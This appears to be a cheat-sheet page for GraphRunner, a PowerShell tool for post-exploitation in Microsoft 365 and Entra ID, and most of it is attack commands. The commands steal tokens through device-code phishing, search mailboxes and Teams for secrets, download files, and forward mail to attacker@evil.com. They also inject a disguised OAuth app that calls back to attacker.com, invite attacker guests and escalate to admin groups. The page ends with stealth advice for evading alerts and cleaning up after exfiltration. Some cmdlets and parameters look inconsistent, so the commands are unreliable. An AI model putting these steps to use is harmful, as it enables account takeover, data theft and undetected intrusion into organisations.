Skip to content

GraphRunner

GraphRunner is a PowerShell tool that leverages the Microsoft Graph API for post-exploitation operations in Microsoft 365 and Entra ID environments. It enables attackers to enumerate user accounts, access sensitive data, establish persistence, and escalate privileges with valid credentials or tokens.

Installation

Install GraphRunner from the official repository:

# Clone the GraphRunner repository
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner

# Import the module (from the GraphRunner directory)
Import-Module ./GraphRunner.ps1

# Verify module is loaded
Get-Command -Module GraphRunner

Alternatively, add GraphRunner to your PowerShell modules directory for system-wide access:

# Copy module to PowerShell modules path
Copy-Item -Path ./GraphRunner -Destination "$PROFILE\..\Modules\" -Recurse

# Import from anywhere
Import-Module GraphRunner

Authentication

Device Code Flow (Token Acquisition)

Acquire tokens using device code flow, useful for phishing or obtaining user interaction:

# Acquire tokens via device code flow
Get-GraphTokens -UserAgent

# Authenticate with specific scopes
Get-GraphTokens -ClientID "1b730954-1685-4b74-9bfd-dac224daafdd"

# Output includes UserToken, RefreshToken, and metadata

Token Refresh

Refresh expired access tokens using refresh tokens:

# Refresh user token
Invoke-RefreshGraphTokens -RefreshToken $refreshToken -ClientID $clientID

# Refresh with custom parameters
Invoke-RefreshGraphTokens -RefreshToken $rt -Tenant "contoso.com"

Automated OAuth Flow

Automate OAuth authentication without manual intervention:

# Automatic OAuth flow with stored credentials
Invoke-AutoOAuthFlow -Username "user@contoso.com" -Password "P@ssw0rd"

# Use device code for interactive auth
Invoke-AutoOAuthFlow -DeviceCode -ClientID $clientID

Token Types and Scopes

Token TypeScopeUse Case
User TokenUser.Read, Mail.ReadUser account operations
App Token.defaultService principal permissions
DelegatedUser.ReadWrite.AllModify user attributes
ApplicationApplication.ReadWrite.AllManage applications

Enumeration

User and Group Enumeration

Enumerate users and groups in the tenant:

# Get all users in tenant
Get-AzureADUsers -AccessToken $accessToken

# Get users with specific filter
Get-AzureADUsers -AccessToken $accessToken -Filter "startswith(userPrincipalName,'admin')"

# Get all security groups
Get-SecurityGroups -AccessToken $accessToken

# Get groups owned by specific user
Get-SecurityGroups -AccessToken $accessToken -Owner "admin@contoso.com"

Updatable Groups

Identify groups that can be modified:

# Find updatable groups (where token has write permissions)
Get-UpdatableGroups -AccessToken $accessToken

# Returns groups where you have AddMember permissions
# Useful for privilege escalation via group membership

Dynamic Groups

Enumerate and analyze dynamic membership rules:

# Get all dynamic groups
Get-DynamicGroups -AccessToken $accessToken

# Extract membership rules for analysis
Get-DynamicGroups -AccessToken $accessToken | Select-Object displayName, membershipRuleProcessingState

SharePoint Site Enumeration

Discover SharePoint sites and document libraries:

# Get all SharePoint sites
Get-SharePointSites -AccessToken $accessToken

# Get specific site details
Get-SharePointSites -AccessToken $accessToken -Site "contoso.sharepoint.com"

# Enumerate document libraries
Get-SharePointSites -AccessToken $accessToken -Libraries

MFA Status Check

Check which users have multi-factor authentication enabled:

# Get MFA status for all users
Get-MFAStatus -AccessToken $accessToken

# Identify users without MFA (high-value targets)
Get-MFAStatus -AccessToken $accessToken | Where-Object {$_.MFAEnabled -eq $false}

Comprehensive Reconnaissance

Run full tenant reconnaissance:

# Comprehensive recon of entire tenant
Invoke-GraphRecon -AccessToken $accessToken -OutputFile recon.txt

# Detailed recon with specific focus areas
Invoke-GraphRecon -AccessToken $accessToken -Users -Groups -Applications -Sites -Output detailed_recon.json

Email Operations

Search Mailbox

Search user mailboxes for sensitive information:

# Search mailbox for keyword
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "password"

# Search with date range
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "confidential" -StartDate "2024-01-01" -EndDate "2024-12-31"

# Search all mailboxes (requires high privileges)
Invoke-SearchMailbox -AccessToken $accessToken -AllMailboxes -SearchQuery "financial"

Search Teams messages and channels:

# Search Teams for sensitive data
Invoke-SearchTeams -AccessToken $accessToken -SearchQuery "API key"

# Search specific Teams workspace
Invoke-SearchTeams -AccessToken $accessToken -Team "Engineering" -SearchQuery "password"

# Extract messages from specific user
Invoke-SearchTeams -AccessToken $accessToken -User "target@contoso.com"

Read and Send Messages

Read user messages and send emails:

# Read recent messages from user's inbox
Get-MailboxMessages -AccessToken $accessToken -User "target@contoso.com" -Folder "Inbox" -Limit 50

# Send email on behalf of user
Send-MailboxMessage -AccessToken $accessToken -User "target@contoso.com" -To "attacker@evil.com" -Subject "Data" -Body "Sensitive data here"

# Create forwarding rule
Set-MailboxRule -AccessToken $accessToken -User "target@contoso.com" -ForwardTo "attacker@evil.com"

Data Exfiltration

SharePoint and OneDrive Access

Download files from cloud storage:

# Search SharePoint and OneDrive for files
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -SearchQuery "confidential"

# Download specific file
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -FilePath "/sites/Finance/Documents/Budget.xlsx" -Download

# Enumerate all files in specific site
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -Site "contoso.sharepoint.com" -Recursive

File Download

Download sensitive files:

# Download file by path
Get-GraphFile -AccessToken $accessToken -FilePath "/drive/root/Documents/secret.docx" -OutputPath ./secret.docx

# Download multiple files
Get-GraphFile -AccessToken $accessToken -FileList @("file1.docx", "file2.xlsx") -OutputPath ./downloaded/

# Enumerate OneDrive contents
Get-GraphFile -AccessToken $accessToken -User "target@contoso.com" -OneDrive -Recursive

Teams and Channel Data Access

Extract data from Teams:

# Get Teams list and channels
Get-TeamsData -AccessToken $accessToken

# Download Teams chat history
Get-TeamsData -AccessToken $accessToken -Team "Engineering" -ExportChat -OutputPath ./teams_chat.csv

# Extract Teams shared files
Get-TeamsData -AccessToken $accessToken -Team "Finance" -Files -Download

Group Chat and Direct Messages

Access Teams direct messages:

# Get direct messages
Get-TeamsDM -AccessToken $accessToken -User "target@contoso.com" -Limit 100

# Export DM thread
Get-TeamsDM -AccessToken $accessToken -Conversation "conversation-id" -Export -OutputPath ./messages.csv

Persistence

OAuth App Injection

Inject malicious OAuth applications for persistent access:

# Create and inject OAuth app
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "WindowsUpdate" -ReplyURL "https://attacker.com/callback"

# Register app with high permissions
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "GraphHelper" -ReplyURL "https://attacker.com/oauth" -Permissions "Mail.Read", "Calendar.Read", "Files.Read.All"

# Extract app credentials
Invoke-InjectOAuthApp -AccessToken $accessToken -ExistingApp "GraphHelper" -GenerateSecret

Add Application Permissions

Escalate app permissions for broader access:

# Add permissions to existing app
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "User.ReadWrite.All"

# Grant admin consent for permissions
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -AdminConsent -Permission "Mail.ReadWrite", "Calendar.ReadWrite"

# Add dangerous permissions for persistence
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "RoleManagement.ReadWrite.Directory"

Guest User Invitation

Invite external users for persistent access:

# Invite guest user to tenant
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -Message "Join our organization"

# Invite multiple guests
Invite-GuestUser -AccessToken $accessToken -GuestList @("guest1@evil.com", "guest2@evil.com")

# Add guest to sensitive group
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -AddToGroup "Executives"

Privilege Escalation

Group Membership Manipulation

Add users to privileged groups:

# Add user to updatable group
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserID $targetUserID

# Add current user to admin group
Add-GroupMember -AccessToken $accessToken -GroupID "62e90394-69f5-4237-9190-012177145e10" -UserID (Get-GraphUser -Self).id

# Bulk add members to sensitive groups
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserList @($user1, $user2, $user3)

Exploit Dynamic Groups

Manipulate dynamic group membership rules:

# Get dynamic group rules
Get-DynamicGroupRules -AccessToken $accessToken -GroupID $groupID

# Modify user attributes to match dynamic rules
Set-UserAttribute -AccessToken $accessToken -UserID $userID -Attribute "department" -Value "Executives"

# User automatically added to group via rule update

Abuse application consent grants for escalation:

# Find overprivileged applications
Get-PrivilegedApps -AccessToken $accessToken

# Grant excessive permissions to compromised app
Grant-AppConsent -AccessToken $accessToken -AppID $appID -Scope "RoleManagement.ReadWrite.Directory"

# Use app token for elevated operations
$appToken = Get-AppToken -RefreshToken $appRefresh
Add-AdminUser -AccessToken $appToken -UserID $newAdminID

Token Manipulation

Extract and Manage Tokens

Work with authentication tokens:

# Extract current token details
$token = Get-GraphTokens -UserAgent
$token | Select-Object -Property AccessToken, RefreshToken, Tenant, ExpiresOn

# Decode JWT token payload
Invoke-DecodeJWT -Token $token.AccessToken

# Check token permissions (scopes)
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp

Token Refresh and Rotation

Maintain token access:

# Refresh before expiration
$newToken = Invoke-RefreshGraphTokens -RefreshToken $token.RefreshToken

# Store for later use
$newToken | Export-Clixml -Path ./token.xml

# Load token for reuse
$token = Import-Clixml -Path ./token.xml

Scope Analysis

Analyze available scopes:

# List all granted scopes
$token = Get-GraphTokens
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp

# Request additional scopes
Get-GraphTokens -ClientID $clientID -Scopes "Mail.ReadWrite", "Calendar.ReadWrite.All"

Troubleshooting

Common Issues

IssueCauseSolution
Token expiredAccess token lifetime exceededUse refresh token with Invoke-RefreshGraphTokens
Access deniedInsufficient permissionsRequest additional scopes or use higher-privilege account
Module not foundGraphRunner not importedImport-Module ./GraphRunner.ps1
Rate limitedToo many API callsAdd delays between requests, use batch operations
Invalid tenantWrong tenant ID providedVerify tenant GUID or domain name

Debug Mode

Enable verbose output:

# Enable debug output
$DebugPreference = "Continue"

# Run commands with verbose output
Get-AzureADUsers -AccessToken $accessToken -Verbose

# Capture full API responses
$DebugOutput = Invoke-GraphRecon -AccessToken $accessToken -Debug 2>&1

Token Validation

Verify token validity before use:

# Check token expiration
$payload = Invoke-DecodeJWT -Token $accessToken
$expTime = [datetime]::UnixEpoch.AddSeconds($payload.exp)

# Validate token not expired
if ((Get-Date) -lt $expTime) { Write-Host "Token valid" }
else { Write-Host "Token expired, refresh needed" }

Best Practices

Operational Security

  • Refresh tokens frequently to avoid detection patterns
  • Use device code flow to avoid direct credential transmission
  • Clear PowerShell history: Clear-History
  • Remove module traces: Remove-Module GraphRunner
  • Use sleep intervals between large enumeration operations
  • Avoid searching all mailboxes; target specific users

Token Management

  • Store tokens in memory, not disk
  • Encrypt credentials with DPAPI if persistence needed
  • Use separate tokens for different operations
  • Revoke compromised tokens immediately
  • Monitor token refresh patterns for anomalies

Stealth Techniques

  • Use application permissions for silent operations
  • Avoid admin notification events (Add-ApplicationPermission triggers alerts)
  • Schedule operations during business hours
  • Use service accounts instead of user accounts
  • Clean up injected OAuth apps after exfiltration
  • Remove guest users after data access
ToolPurpose
ROADtoolsMicrosoft 365 enumeration and exploitation
AzureHoundEntra ID security and permission mapping
TokenTacticsToken theft and manipulation
AADInternalsEntra ID internal operations
MicroburstAzure enumeration and exploitation
MicroBurpAzure Blob Storage exploitation